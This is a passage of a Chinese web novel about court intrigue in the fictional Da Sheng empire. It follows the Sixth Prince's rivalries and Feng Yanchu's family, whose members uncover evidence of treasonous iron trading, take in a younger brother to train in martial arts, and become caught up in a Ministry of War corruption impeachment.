若不是因为江荣海是陛下的人,否则黎皇后当时就下令责罚了。那个老太监还真当她没听出来,说大皇子和五皇子也就罢了!竟还明里暗里说九皇子惹陛下生气!
他算个什么东西!不过是一介阉奴,有何资格?还不是仗着陛下的势?还说什么老六知道孝顺,时时刻刻想着陛下!
女官跟声道:“娘娘,凤体重要,殿下年岁小,还需要您教导呢。”
一想到这年岁之差,黎皇后就觉心痛:“是啊,我儿就吃亏在年龄太小,前面挡着好几个比他大的皇子。若我这个做母后的不为他筹谋,还能有谁想着他!”说到这里看,她向勤政殿的方向,眼神尽显锐利之气,“我儿可是嫡子啊!陛下为何这般偏心!”
此刻,女官也不敢说话。自从秋猎回来,陛下再也没见九皇子,就连坤宁宫也不来了,娘娘贵为皇后,亲自去请,可陛下一点面子也不给。
黎皇后缓了又缓,长舒一口气道:“秋猎之事虽做的隐蔽,但陛下定然察觉到什么。估计对咱们利用平安公主,将各府女眷引去险地心生不满,否则不会这么冷淡。现如今短时间内,不宜再出手,咱们先按兵不动,宫里也一样!”
女官行礼道:“是,娘娘。”
“但是对于六皇子也不得不防,还是要想办法在他身边安插上咱们的人手。”今日之事,让黎皇后对六皇子十分的不放心。
女官犹豫道:“这恐怕有些难,六皇子十分机敏,当初贵妃安排的人,都被他借着别人的手除了。”
“那是她蠢,将陈茂才那样的人派过去,还让贴身照顾。又不是亲母子,且早已离心,能保住才怪!最后还不是被老六正大光明的收拾了!”说及此处,黎皇后不屑的冷哼一声。她只觉贵妃蠢得厉害,装出一副慈母心肠,可是连六皇子都笼络不住,且任由大皇子欺负,白白落了个苛待兄弟的名声。
“那娘娘的意思是?”
“贴身之人必定是亲信,怎容易插手?咱们只在他院子里安**去一个人,哪怕是扫院子,做杂事的三等宫人。也不要做太复杂的事情,只需留意六皇子每日的动向即可,难道这些还做不到?”
女官略作思考道:“过几日,正好宫里和各王府要将到年纪的放出去一批。年后还会统一安排人,咱们便可以将**大方方的安排进去,也不显得突兀。”
黎皇后听后点头,“就这么办吧!”随后又想起儿子,“等我儿下学后,你将人叫来,我问问他功课进益的如何,正好一起用晚膳。”
“娘娘真是慈母之心,处处为殿下着想。”无论这句话是否真心,但女官的表情和语气没有任何瑕疵。
六皇子与景和帝一起用了午膳后,并未去探望贵妃,而是直接出了宫。
回到府邸,这才长长的松了一口气。他每次与陛下相处都十分谨慎,每句话,每个动作,都经过考量设计后才会说出口,这一次更甚,使他有些疲惫。
“李延,你说父皇是真的疼爱我吗?还是假的?”
李延并未说话,而是倒了一杯茶递过去
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。
他接过茶杯轻饮一口,并未等李延回复,继续道:“若是没有疼爱之心,可这些年的维护不是假的!但是若疼爱,为何任由我无依无靠?”
“母妃早逝,外祖父这些年一直在地方任职,他并非庸碌贪蠹无能之官;恰恰相反,这些年他勤政爱民,每去一处,就将那儿治理的井井有条,深受当地百姓爱戴!可为何?为何父皇从不给他升迁的机会?而外祖父每次来信,也只说让我做一个循规蹈矩的皇子!”
回答他的是一片寂静之声,李延像是木头桩子一样,低头看着木板,一动不动。
‘砰!’那是拳头撞击桌面的声音!
“可是我不甘心,凭什么?都是皇子,我比他们差在哪儿了?难道就因为我母妃早逝,母族不被看重吗?李延,我心中满是疑惑!”
“想让我认命?不可能!我偏要向父皇,向所有人证明,我是最优秀的!”
李延依旧没说话,不过他倒是动弹了。走过去将桌面上的东西全部拿开,搬起那个带着裂痕的桌子出去了。没一会儿,又重新拿进来一张新的,将东西一一恢复。
然后开口说了第一句话,“殿下,你下次要是生气,不要用桌子出气,到院子里练一会剑。”
六皇子心情似乎好了不少,至少他带着歉意说着:“是我不好,下次一定注意。”
李延叹道:“您最好说到做到,否则别人只会奇怪殿下为何放着宽敞的院子不用,偏偏要在屋里练拳。”
“知道了!”六皇子这时才想起别的事情,“哦,对了,你去给封二郎说一声,就说我将他的事都已经告诉给陛下了,让他有个准备。你一定要强调,是陛下主动问起,不是我故意要说的。”
“知道了。”李延得了吩咐便去了一趟‘枕松闲居’。
第一百五十五章 别人都说大晟繁荣昌盛
李延并未遇见封砚初,只能返回。
而此刻,封砚初已经回到了武安侯府,因为老太太他们从青州回来了!
一番热闹过后,屋内只留下了老太太,封简宁,以及封砚开,封砚初,共四人。
老太太拍着旁边的东西,郑重道:“这趟青州之行也算是没有白费功夫,该探查的都已经探查到了。这些是运送的记录和一封徐家与延化石家之间的往来书信,是意外所得,你们都看一看吧!”这些东西都是她贴身收着的,就连贴身伺候的丫鬟也没让碰,大娘子就更不知道了。
封简宁接过去大致翻看了一遍,随即脸上的笑越来越大,越来越讽刺,“延化产铁,虽说只有一本,可这也就够了。只是没想到这数量还真不少啊,就单单这一本,就可以看出资敌不少,好你个徐家!”
封砚开则是打开信细看,“从信中所述,这里头不仅牵扯着延化和青州两地的官员,还有沿途为其大开方便之门的,一旦开查就要牵扯一大片。”
封砚初凑上去瞧了几眼,问道:“祖母这些东西,想来他们藏的必定十分隐蔽,怎会轻易获取,而且他们只需事后一查,便知少了。”此话一出,其余两人也同时看向老太太。
老太太目光扫过那本运送记录和信,声音中满是自信沉稳:“放心,没有后患,因为这两个东西在我们去青州之前就丢了。偷东西之人烂赌,原本想将其作为一个威胁的手段,好敲诈一些钱财还债。可这东西如此重要,这些人怎么可能留下他的命!也是巧,云樟提前查到后做了个交易,次日,偷东西的人就被赌坊抓住了,而他家人早就拿着钱,连夜离开了。无钱可还,还被赌坊的人打了一顿,只两日便一病**。”
封砚初这才放下心来,随后道:“还请祖母勿怪,是孙儿多心了。”
老太太笑道:“这很正常,万一被信国公发现咱们调查徐家,必定会提前对侯府出手。你长大了,思虑也周全,且秋猎还中了头名,得了陛下的赏赐,这都是为家里增光!”
封简宁搭话道:“母亲可知这些年来以来,二郎偷偷练武的事?”
“什么?你偷偷习武?”老太太说到这里,转头向儿子埋怨:“也都怪你,小时候二郎就提出要习武,是你不愿意,这才让他只能私底下练!”
封简宁张了张嘴,还是说道:“母亲,难道不应该怪他胆子太大吗?”
老太太拉着封砚初的手,心疼不已,“胡说,我的孙儿文武双全,是你险些耽搁了他。”也不等封简宁回话,继续问道:“你练的是什么功夫?其实咱家里有祖上留下来的武功,还有当年太宗皇帝赐下来的枪!这枪虽不能妄动,但那习武的书还在我这儿,一会儿拿给你。”
“不是说已经焚毁了吗?”封砚开诧异道。
“焚毁?确实将原本当着众人的面焚毁了,可还有誊下来的抄本呢。之前一直是你祖父收起来的,后来他就交给我保管,说万一将来,陛下对武安侯府从军一事松口了,就拿出来让子孙们练一练,也算是一条出路。”老太太说到这里,亲自去内室拿出一个匣子。
随着匣子被打开,里面的东西映入眼帘:“封家先祖的功夫虽然来自太宗皇帝,但是后头遇见一个武学大师改了良一番,便有了这两本。”
封砚初瞳孔地震,嘴巴情不自禁张大,拿出里头的两本书,声音都不自觉高了两度,“《流云剑法》!《惊鸿枪》!”
老太太并不了解内情,笑道:“是啊,你祖父还说,封家先祖的惊鸿枪乃是一绝,但这流云剑法就练的寻常。”
封砚开却发现二郎的不同寻常,反问道:“二弟,我记得你说自己练的也是**和剑法,可是有何不同?”
封砚初吞了吞口水,不禁想到给他留下那几本书的神秘所在,迅速翻了翻里头的内容,竟然一模一样!心中竟生出一抹惊惧,同时又掺杂着庆幸,十分复杂,“大哥,你可记得我跟你说过的,那个给我留下武功之人?”
“记得!”
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>“他给我留下的正是《流云剑法》和《惊鸿枪》!”
“什么!”这时,震惊的不仅仅只有大郎,封简宁和老太太亦然。
封简宁将书拿过来,喃喃道:“这是巧合吗?”只是理智告诉他肯定不是。
“看来是当初那个武学大师的后人,不忍见武安侯府的武学就此落寞,这才有此一举,毕竟这两本书花费了不少心血。当年可是有不少人惦记,若非当众烧毁,只怕这些年也不得安宁。”老太太又对封砚初道:“既然你已经有了,那这个我就不给你了。”说完这话,老太太重新将匣子收起来。
在唏嘘之声中,大家各自离去。封砚初刚回到院子里,就看见了三郎封砚池已经在等他。
疑惑道:“三弟,你才回来,不去歇着怎么到我这里来了?”
“二哥,我想和你说说话。”三郎的声音比以前多了些沉稳。
这也是封砚初最新的发现。那就是这次出行,于三郎而言必定感触颇多,所以才会有这番变化,整个人的气场都沉淀下来了。
“想说什么就说吧。”此刻的他,就是那个倾听弟弟心事的兄长。
“二哥,这次出门我看见了很多。有些事情超出我以前的认知,到现在才明白从前自己是多么幼稚,在家人的庇护下,那样幸福天真。”
“别人都说大晟繁荣昌盛,我在京城看到的也确实如此。可当我出去之后,才真正见识到什么叫衣不蔽体,食不果腹,官员压榨,百姓生活艰难!”
“你知道吗?在我心里那些贼匪都是穷凶极恶之人。可后来才知道,那些贼匪都是被逼着走投无路的当地百姓!我看到了一个老伯捧着一碗稀的都能照出人影的粥,乐呵呵的说今年是个好年景,还能喝上这粥!我将身上的钱给了他,可他连那银币见都没见过。”
“二哥,你说这大晟怎么了?它还是我心目中的那个大晟吗?”封砚池看着二哥,眼神里满是疑问,在他心里二哥是最厉害的人,肯定知道答案。
第一百五十六章 你的心胸比我更宽厚
封砚初并未着急回答,而是从书架上找了《孟子》和《左传》。随后拿起《孟子》道:“其实很多读书人最初,是从这本书上知道‘饿殍遍野’四个字的。其中《孟子?6?1梁惠王上》有云:庖有肥肉,厩有肥马,民有饥色,野有饿莩,此率兽而食人也。”
紧接着又拿起《左传》继续道:“《左传?6?1宣公十五年》中,楚围宋国都城,宋人‘易子而食,析骸以爨’。”
他虽穿越而来,可前世也只是从影视中看过。即使如此,可于他而言,除了感慨之外并无其他。
而今,他心里清楚这八个字的沉重,“三郎,我自问学识不差,可对我而言‘饿殍遍野’,‘易子而食’八个字只在书中见过,我最远所去之地不过是秋猎的围场,说起来,见识未必及得上你。”
三郎没想到二哥竟然说不如自己,这怎么可能,“二哥,我本来就不如你,不爱学习,文不成武不就的,哪里比得上你?”
封砚初拍着对方的肩膀道:“三郎,其实你的心胸比我更宽厚,很多事从不去计较,试问我做不到!仅这一点,不知强出多少人,现下更有能看得见百姓疾苦的善心,别瞧低了自己。许多高高在上的官老爷们,也未必如你!”
“二哥!”从来没有人夸过自己,三郎一时之间,面上竟有些羞愧之色。
“好些人都高高在上,他们眼里看不见那些底层之人,以为百姓是最软弱可欺的。可他们忘了,水能载舟,亦能覆舟,脱离了百姓他们什么都不是!从夏商周到如今,多少王朝覆灭更替,可百姓们依旧在!所以无论身处何地,都不要忘了百姓!不要忘了自己的初心!二哥希望你能永远记住今日的感受!”
封砚初长在武安侯府,对别人来说高不可攀的物品,望而却步的房子,他唾手可得。要么家里早就备好送到跟前,要么自己攒几年的零花钱也就够了。
他享受着富贵的生活,亦承认舍不得这些,曾经甚至想就此过一辈子,当个富贵闲人也不错。但内心却很清楚,只要有机会,他愿意为百姓做些事情。
三郎听了这些话,眼睛发亮,语气中带着期盼,“谢谢你,二哥。我知道自己读不进去书,父亲和大哥更希望我待在学塾里,不要给家中惹事。可自从我去了一趟青州后,就想做些什么,但又不知能做什么?”
“你不想读书,那么将来或是习武,或从商,或学医都可以!”封砚初说完这些看向三郎,对方依旧迷茫,又道:“既然没有主意的话,不如先和我去‘枕松闲居’住一段时间,好好想清楚,如何?”
三郎确实心中一团乱麻,不知如何抉择,听见这话点头道:“我听二哥的!”
此刻,封砚初内心十分感慨,便道:“以前你总惹张姨娘生气,如今懂事了,也让她少操些心。这段时间你去了青州,听我姨娘说她很担心你,只是嘴上不说罢了,回去好好陪一陪她!”
“知道了,二哥。”其实在三郎心里,侯府除了姨娘以外,二哥待他最不同,总能教导他懂得很多道理。
次日一早,众人难得在一起吃了个团圆饭。
“三郎,看来这次青州之行,你也算是有了些长进。如此,明日就继续去学塾里,但愿你就此能读进去些书。”封简宁对三子虽不抱希望,但对于这次的改变还是很满意,不过还是准备让对方继续去学塾,免得添乱。
要是以往,三郎肯定就默默点头应了,今日却开口拒绝,“父亲,儿子本就不喜欢读书,不想继续去学塾里浪费光阴。”
封简宁听及此处,将筷子猛地拍在箸枕上,斥责道:“你不去读书还想干什么!原以为长进了,没想到还是这么不成器,你若是能考个秀才回来,我绝不多说一句!”
大娘子瞧夫君生气,连忙打圆场,“有什么事不能好好和孩子说,犯得着生这么大的气,再说还吃饭呢,就是训子
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那也要等吃完再说。”
封砚初见父亲发怒,也赶紧劝着:“父亲息怒。三郎本就不喜读书,这么多年下来也未见成效,儿子觉得继续待在学塾里,是白费光阴。虽然现在他还没有确定将来做什么,但此次出门长进很大,就先暂时住到广林巷,由我监管。”
封简宁拧眉看向次子,摇头道:“不妥,他要是惹出什么事,或者耽搁你可不行。”
封砚初笑道:“父亲,儿子如今也不用读书备考,只需每日上职,如何能影响,便让他来吧。”
对于三郎的变化,老太太感受最深。她是看见这孩子,由最开始的活泼到最后的沉默,且这一路即使遇到过坏人,依旧不失善心,可见是个宽厚的孩子,十分难得。
见此也开口劝了几句,“好啦,既然二郎都同意了,那就让他去吧,正好想清楚自己究竟想做什么!”
封简宁见大家都在为三郎说话,只得同意,不过还是警告对方,“罢了,那便去吧,只是你万事要听二郎的话,若是让我知道你行为不妥,可小心些!”
三郎立即应道:“是,父亲。”
二叔封简言见哥哥同意了,这才说道:“哥,孩子也长大了,有自己的想法也正常。”毕竟以他自己的亲身经历而言,确实如此。
说到孩子长大,温氏很着急自己的儿子。只是前头大郎还未成亲,言语中有些催促的意思,“是啊,都到了快成亲的年纪了。大哥平日忙着,幸亏嫂嫂回来了,也好为孩子们相看相看。一会儿,我去嫂嫂那里说话,正好将管家钥匙还回去。”
大娘子并未拒绝,反而跟着叹道:“可说呢,本来按时间,今秋就能给大郎把婚事办了,否则他没成亲,后面的弟弟妹妹可怎么办?”
大郎封砚开原本安安静静的吃着饭。没想到众人说着说着,竟说到自己身上了,感受到投来的目光,难免有些不好意思。直到长辈们吃完饭,这才匆忙告退。
第一百五十七章 要是想放弃,就回去吧
温氏去找大娘子之时,对方正在和半夏整理皮子。见此一幕,故意调侃着问:“哟,嫂嫂这皮子是哪来的啊?”
大娘子听见声音回头一看,原来是弟妹。一边请人进来,一边笑骂道:“我以为来的是喜鹊,没成想原来是个鹩哥?”
温氏进门后,便将账本、对牌、钥匙等管家之物往桌上一放,“这些东西我给你送来了。”
大娘子笑道:“我才回来,你也不说让我松快几天。”
温氏摆手,轻叹一声,仿佛语气都松懈下来了,“给你亲自送来还不好?这些日子你不在,这管家的事可是累着我了。”
“我看你就是懒得管。”说话间,大娘子已经让铜雀将这对牌等物收下去了。
温氏并未继续方才的话题,反而上前走了几步,摸了摸放在桌上的皮子,闲聊着,“昨儿我在老太太那里也瞧见了几张皮子,还说要赶在入冬做件衣裳出来,等出门时,好穿在身上向外头夸耀。”
“今儿一早,大郎和二郎各送来两张皮子,我本来不想要,正好他们拿去孝敬自己姨娘,可这是两个孩子的一片孝心,我竟不能不收。”大娘子面上带笑,她觉得自己虽然没有亲生儿子,可比起那些人也不差什么。
温氏也说道:“他们都是好孩子,之前还特意拿了策论给明儿看。虽说他后来考上了秀才,可这乡试明年还不知怎样呢。他比大郎就小几个月,也到了该娶妻的年纪,如今这高不成低不就的,我也犯愁。”
大娘子感慨道:“去青州之前,我和老太太倒是觉得有几家不错来着,还准备托媒人上门说和呢,幸亏没去!我听侯爷说,在秋猎时,有几家的郎君表现不佳,眼见家里的官位都要不保!还有两家牵扯到那件事情里,前几天或是被贬,或是下狱!”到现在她仍觉心惊,语气中带着一些世事无常。
“唉,这上面争来斗去的,连带咱们底下都受影响。”温氏何尝不是。前几日,娘家嫂嫂还托她帮忙在京城,为侄女相看人家呢!她并未答应,反而写信告知情况,这才打消了对方的念头。
果然,连中秋都没过,陛下接连下了几道旨意,就已经确定好明年的武举科考。这几乎是向天下明示,此次秋猎所有不合格之人即将被替代。
话说封砚初回到‘枕松闲居’后,郑伟就禀报说,昨日有人找过他,“找我?是谁?”
郑伟思索着来人的模样,说道:“小的不知,问他,他也不说。”随后又描述了对方的长相衣着。
封砚初听后,便已猜测出是谁,继续问道:“可说找我什么事?”不怪他心中疑惑,其实自己私底下很少与其往来,要不是上一次秋闱,两人见面并不多。
郑伟摇头道:“小的问了,可那人瞧郎君不在,没说话就走了,也不曾留下什么书信。”
“许是不着急吧。”他并未在意。
不过两日,三郎封砚池就搬到了‘枕松闲居’。他到了这里之后,才发现二哥除了上衙以外,其余时间不是读书,就是练武,或者钻进药房里忙着。
这一日,封砚初实在看他闲着难受,便道:“既然你还没决定好,那先跟着我习武,空闲之时,帮我晒药打下手!”
其实三郎自己也闲的难受,又不知该做些什么,要知道他来到这里之后,就只带了双寿。
而双寿见了二哥,就仿佛是老鼠遇见猫,有时候自己说话都不好使。
这不,二哥话音刚落,双寿就已经从柜子里找出一件适合习武的衣裳,甚至捧到他跟前,道:“郎君,这件怎么样?小的瞧着正合适,您才学,免不了磕啊碰啊的,这件衣裳的面料是棉布做的,破了也不心疼!”
他笑了笑,几乎是咬着牙道:“你想的可真周到,那我受伤岂不是
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还要备药,你的药呢?”
双寿似乎没看见一般道:“二郎君配的跌打损伤药最好,等您伤着了,我厚脸皮讨一些,您快出去练吧。”
他刚出去,就看见二哥坐在院子里品茗看书。听到声音后,这才抬起眼皮道:“先蹲个马步我瞧瞧。暮山,给他示范一下!”
听见吩咐后,三郎连忙应了声:“好!”便按照暮山的示意跟在后头学。
“哎哟!”谁知刚蹲下没多久,腿上就挨了一下,三郎差点没站稳。
原来不知什么时候,封砚初已经站在旁边,“姿势不对,再往下蹲一点!还有,下盘不稳,得多练!”
纠正之后,这才点点头,说道:“继续!我会看着你的!”随后又坐回到原来的位置上看书,品茗。
三郎最开始还蹲的住,但这事需要持之以恒,渐渐的就有些撑不住了。就在稍微松懈之时,便响起一个声音,“你要是想放弃自己,就回去吧!”
这是封砚初的声音,他的目光虽然落在书上,可背后像是长了眼睛一般,但凡对方懈怠,就会被察觉。
三郎不知道的是,封砚初虽然没有盯着他蹲马步,但确是用耳朵听的。因为只要他一动弹,衣服之间就会发生摩擦,所以才会被听到。这却让他十分惊恐,在心中愈发钦佩自己的二哥!
其实封砚初并不只是单纯教导三郎习武,同时也为了锻炼自己的耳力。
就在这时,门口传来一阵敲门声……
郑伟打开门一瞧,竟然是上次来的那个人,只是跟在别人后头。还未等他开口,那人就道:“进去禀报,你家郎君知道是谁!”
果然封砚初听了之后,只是略作停顿,便道:“将人带进来吧。”
又指着桌子上的东西吩咐:“雪香,将这里的东西收拾了,重新沏壶茶,端些点心到屋子里。”随后才朝着门口走去。
第一百五十八章 他也病了,且病的不轻!
封砚初到门口后,正欲行礼,就被六皇子扶起,“不请我进去?”
他让出位置道:“六殿下请进!”
六皇子仿佛是进了自己家一样。进门之后,就左看右瞧的,随后还点评着,“嗯,比上次来时,强多了!”又指着另一边,似乎回忆起什么,十分肯定道:“我记得那里原来有一道墙来着!”
封砚初慢一步,跟在身旁回应着:“是,前段时间将那里买下扩进来了。”
“如此也好,也能大一些。”六皇子自顾自说道,随即眼睛一眯,“那个蹲马步的是谁?”
封砚初这才挥手道:“三郎,过来!”
三郎正强忍着,突然被这么一叫,只觉两条腿发软。还是旁边的双寿连忙将人扶住,等他迈着僵硬的腿走过来之后,便听见二哥嘴巴一张一合道:“这是六殿下,还不见礼。”
他只觉震惊,连忙行礼道:“武安侯府封砚池拜见六殿下!”
六皇子上下打量了一番,要不是对方撅着屁股蹲马步,他还真注意不到,没准就当成下人了,“哦~原来是你三弟啊,穿成这样,竟让我误以为是你的护卫呢!”
封砚初嘴角含笑,解释着,“他初次练武,难免有个磕碰,这才穿了这身衣裳。”
这一幕落入三郎眼中,只觉不可思议,他没想到六殿下竟然与二哥十分熟识的样子,就在呆愣之时,耳边传来一个悦耳的声音,“三郎,既然已经见过礼,还不下去继续练习!”他听后立即行礼告退。
屋内,雪香早已经将茶水点心摆好。
两人进去坐下之后,六皇子一直未等到封砚初主动开口,这才说道:“前几日,我让李延找你,谁知你竟然回武安侯府了。”
封砚初亲自为对方斟茶,听到这话时,眼睛依旧盯着茶杯未动,只是嘴上回复,“祖母和母亲从青州祭祖回来,臣特意去迎。”
“时间真快,你祖母竟然已经从青州回来了?这一路可还顺利?”六皇子仿佛是真的在感叹光阴易逝,关心臣子家属一般。
他不相信六皇子不知道,不过并未纠结,干脆直言,“路有宵小,所幸派了一队护卫,有惊无险。”
六皇子听了这话略微顿了顿,“人安全无恙就好。”
他听出来封砚初这话暗含的意思。京城距青州虽有千里之遥,但沿途各州府这几年并未有大灾,按理来说不应该有,需要那么多护卫出手的匪徒,可见大晟内部已经出现问题了。
封砚初见六皇子装傻,只是笑了笑并未继续方才那个话题。仿佛他话中真的并未暗含其他意思,便主动说起别的,“不过,六殿下怎么今日有兴致来臣这‘枕松闲居’?”
六皇子轻叹着,语气中似乎带着一丝歉疚,“前几日父皇叫我进宫,谁知竟问起你的事情来,我也是无奈,只能全盘托出。什么你会武功啊,会医术,包括你置了这个宅子,都说了。”
封砚初知道陛下有暗探,只是没想到竟然注意到自己这个微不足道之人,轻笑道:“无碍,本来就没想瞒着,只是父亲一直盯着臣读书,这才隐瞒。如今臣已经中了进士,又入翰林院学习,知道也无所谓。”
“我便是想着,你最初不过是为了瞒着武安侯,再说能让父皇注意到你也是好事!”其实就在景和帝问起封砚初之时,六皇子便知道父皇早已经注意到对方了,而且还调查过,这对于他而言是个惊喜。
封砚初何尝不知,以前自己之所以暗中为六皇子送药,就是不想站到对方那边。可今日六皇子正大光明的前来,就是要告诉他,陛下已经知道了,还觉得他们关系不错,这是逼着自己选择。
他盯着六皇子的眼睛,亦有所指道:“武安侯府落寞,臣不过是一个小小的翰林修撰,何德何能值得陛下注意?不过是想着三年后离开翰林院,能够为朝廷尽一份绵薄之力。”
“使老有所终,壮有所用,幼有所长,鳏寡孤独废疾者皆有所养。百姓有衣可穿,有食可裹腹罢了!”
其实他明白,在这个时代,想要全都做到何其的难,能做到最后一句,便已经算是个昌盛的王朝了!
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六皇子愣住了,被封砚初这认真的神情吓到了,也被这话惊到了。此时此刻,他只觉得自己以前是多么的狭隘,与封二郎相比,自己是那样的卑劣!只想着登上高位,要表现的比兄弟们优秀。
让父皇能够看见自己,然后在夺得权势后,将兄弟们踩在脚底下!却从未想过为百姓做些什么!
他还未得到那个位子,心里却只想着争权夺利,丝毫没将百姓看在眼里,放在心上!
封砚初一个做臣子的都发现大晟病了,可他们这些大晟的皇子们呢?刚才他听见路有宵小之语,是如何说的?不过是当做没听见罢了!他也病了,且病的不轻!
思及此处,六皇子站起身郑重的朝对方拱了一礼,“请受我一礼,二郎之语,为大晟敲响警钟,亦让我深思拜服!”此时此刻,他是真心的。
封砚初被对方这一礼吓得不轻,连忙起身相扶,“殿下何出此言?这本就是做臣子的本分啊!”
六皇子反手抓着他的胳膊,长叹道:“本分?你说的不错,本分!可现在记得这两个字的还有几人呢?”
说到这里他又摆手道:“本来还想与你多谈几句,但今日感触颇深,我便不多留了!”
封砚初内心十分复杂,他没想到自己这平平无奇的话,竟引得六皇子如此,见状只能拱手道:“臣恭送六殿下。”
将人送出去之后,他并未将此放在心上。瞥见三郎实在坚持不住之时,才叫停。
又从药房拿了一瓶药交给双寿,“一会儿将药抹在三郎的腿和胳膊上,给他好好按一按。”
随后瞧三郎几乎就要瘫倒在地的样子,嫌弃道:“瞧瞧,才多长时间就成这样了,你也太不争气了!”
三郎震惊的瞪大双眼控诉,“二哥,你要不听听自己说的是什么话?我这是第一次啊!难道你就比我强些?”
封砚初坚定道:“那是自然!”
他怎么可能承认自己一开始就没蹲过马步,还是后来发现下盘不稳才练的。不过毕竟练了些功夫在身上,倒是比三郎强些。
第一百五十九章 真是一个白眼狼
大皇子犯错被关禁闭。
朝堂之上,五皇子与皇后两派趁势攻击大皇子一方,更有其他人搅和其中。
在众人眼中六皇子乃是大皇子一派。所以让他们奇怪的是,若是往常,每当大皇子力有不支之时,六皇子必定会站出来扶一把。可这次却没有,即使有贵妃的命令也无用。
“陛下,臣**兵部尚书姚城,攻防营统领柳逐川,虚报兵员军需,冒领军饷,倒卖兵器!”直接当堂**的是兵部侍郎安槐序。自从他进了兵部之后,便在暗中调查多日。
他既不是五皇子的人,也不是皇后的人,**也不过是因为眼见军中糜烂不得不治!
兵部尚书姚城直接跳出来骂道:“休要血口喷人!”但他知道对方说的是实情,不过为了保全自身只能丢车保帅。
“陛下,臣不否认近些年军中情况复杂,许多武官空有其名。然而这都是自从攻防营建立之后,朝廷放宽名录所引起的,而因此兵部不得不负担这些。”
“至于空饷,兵员之事,臣之前也曾上书禀报。何况朝廷各地军营都有兵器库,里头难免有一二监守自盗之人,臣有监管不当之责,之后必定自查自纠!”
自从此人当上兵部尚书之后,早就了解到内里情况,也知道兵部问题不小,若真出事少不得牵扯太深,为此特意给景和帝上书,阐明情况,这就是此人的精明之处。
只是当时西戎屡次挑衅犯边,邢勉还可支撑。而且想要彻底根除,只抓几个人是没用的,所以不宜大动干戈,这才搁置。如今旧事重提,他只需稍稍操作一番,最多被贬。
攻防营统领柳逐川不同,当初先帝设立攻防营,就是为了安置朝中勋贵官宦的子弟。一开始还勉强能看,可这些年下来也越来越不成器,这也不是他的错,早就如此了!
但正因这样,攻防营虚报兵员军需,冒领军饷,倒卖兵器的情况确实存在,他亦参与其中,如今是狡辩不了的!
兵部侍郎安槐序斩钉截铁道:“陛下,若他们真的心中无鬼,想来也不怕查!”
如今大皇子被关禁闭,兵部尚书姚城处在弱势,他余光看向了难得上朝的六皇子,对方眼睛盯着地砖,并没有开口的意思。
邢勉早看不惯兵部这帮人。这些年,他在北边辛苦戍边,可这些人总是以各种理由克扣军饷,导致他不得不对边贸,睁一只眼闭一只眼,就是为了能补充军饷。
于是上前道:“陛下,这些年臣戍卫边防,兵部每次都以各种理由克扣军饷!边关将士苦不堪言,还请陛下彻查!”
五皇子也趁此抨击,“陛下,兵部竟有这种事发生,若不查,怎对得起那些辛苦戍边的将士们!”
黎文堂(黎皇后的父亲)上前拱手道:“陛下,既然安大人亲自**,不如三司会审,早日查清真相,还二位大人清白之身。”
如今大皇子不在,六皇子压根不开口。
贵妃的父亲只能亲自下场,他拱手道:“陛下,兵部之事牵一发而动全身,若三司会审,让外头知道的话,只怕会物议沸然,引起恐慌,不如压下缓缓查之。”
首辅申大人很清楚陛下既想处置,又担心闹得太大,使朝局失衡。不过他还是站出来,为其下定了决心:“陛下,西戎虎视眈眈,屡次犯边,如果来日当真开战,还需得早作准备,免得到头来手忙脚乱。”
景和帝本就看中了安槐序的刚正不阿,这才将对方调入兵部。墙倒众人推,便道:“既然如此,那就依众卿所言,由三司会审!”
无论众人如何想,均异口同声道:“陛下圣明!”
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下朝之后,六皇子还未来得及出宫,就被贵妃派人堵住了。
他神情未有任何变化,只拱手行礼,“见过母妃。”还未来得及起身,就被对方扔过来的茶盏砸中额头。
“你今日早朝是怎么回事?我儿只是被陛下暂时禁足,又不是出不来了,后宫更有本宫看着!怎么如今本宫还坐在这呢,你便也学起那拜高踩低的做派!”贵妃早已没有了往日那副装模作样的慈爱,她的脸上布满怒气,看上去竟有些狰狞。
“母妃容禀,并非儿子不想求情,只是父皇有心肃清武官中的庸碌之辈,兵部的问题自然也不会小。更何况西戎虎视眈眈,也确实应该早做打算,难道要为了保住兵部,就不顾……”六皇子的话还没说完,一个高脚瓷盘迎面砸来。
‘砰!’的一声,他的额头顿时鲜血如柱。
旁边的女官吓得不轻,正要上前查看,却被一个声音喊停。
“谁敢上前!我看他还能死不成!”贵妃的慈母之色早已经不翼而飞,她冷笑着:“真是一个白眼狼!半点不念恩!本宫真是白养你这么多年!”
就在此刻,一个身影进来,贵妃气急不已,“谁吃了熊心豹胆,敢闯进我的宫里……”后头的话还未说完,就看清进来之人的身影,一时之间,脸上竟十分的尴尬难堪。
江荣海仿佛没听见,没看见一般,行礼道:“老奴给贵妃娘娘请安,陛下宣六殿下前往勤政殿。”
出了贵妃之处的宫门,六皇子问道:“不知父皇叫我有何要事?”
江荣海先说道:“陛下未言明,老奴也不知。”随后指了指六皇子的额头,“六殿下,一会儿还是让太医处理一下吧。”
六皇子摸了摸正在渗血的额头,嘴角竟然扯出一抹笑,“那是自然。”
第一百六十章 一切看他的运道
勤政殿。
六皇子行礼,“儿子拜见父皇!”
“怎么这么长时间才来?”景和帝闻声抬头看去,映入眼帘的是一个被包裹着的脑袋。随即眉心微皱,眼神也冷了几分,虽发出疑问,却也是肯定,“你的头是贵妃打的?”
六皇子垂头道:“是儿子不好,惹母妃生气了。”
景和帝将手中笔扔在桌案之上,走到跟前打量了一番,才道:“太医怎么说?”
“无妨,只需好好养着就是。”六皇子的口吻轻描淡写。
“哼,江荣海,你说!”景和帝明显心情变差,他何尝不知贵妃这是气恼老六,没有为兵部尚书姚城说话!更是气对方在朝堂之上没有帮扶老大,可问题是老大也太不争气了!
江荣海听音不对,哪敢隐瞒,“老奴去进门之时,六殿下的头已经被砸伤了,还挨了两次。因贵妃娘娘正生着气,连老奴也挨了一通骂,后来太医说幸而未酿成眩晕之症,否则不堪设想,毕竟流了不少血。”
空气一时之间又凝固了几分。景和帝心中十分恼怒,自古脑袋之上的症状最为复杂,就连天下最高明的大夫也拿捏不准。亏得他以前还觉得贵妃待老六有几分慈母之心,现下看来都是做给他看的,否则怎么可能下如此重的手!
“贵妃为母不慈,禁足于宫。以后她若是叫你,你可以不用去,就说是朕的意思!”在外头看来,毕竟是贵妃抚育了老六。
景和帝虽不想让老六担上不孝的骂名,但此事又是惩处贵妃的好借口,而且她这手伸的太长了,正好趁机处置!
江荣海听后躬身称是,直到出了勤政殿之后,嘴角才略微弯了弯。既然骂他,那就别怪他在陛下跟前下火,亲自为陛下递梯子,找借口。
其实这次六皇子没有为兵部尚书说话,景和帝也十分好奇,“老六,近日朕怎么瞧你不如往日精神,就连今天在朝堂之上也不说话,可是遇上什么事了?”
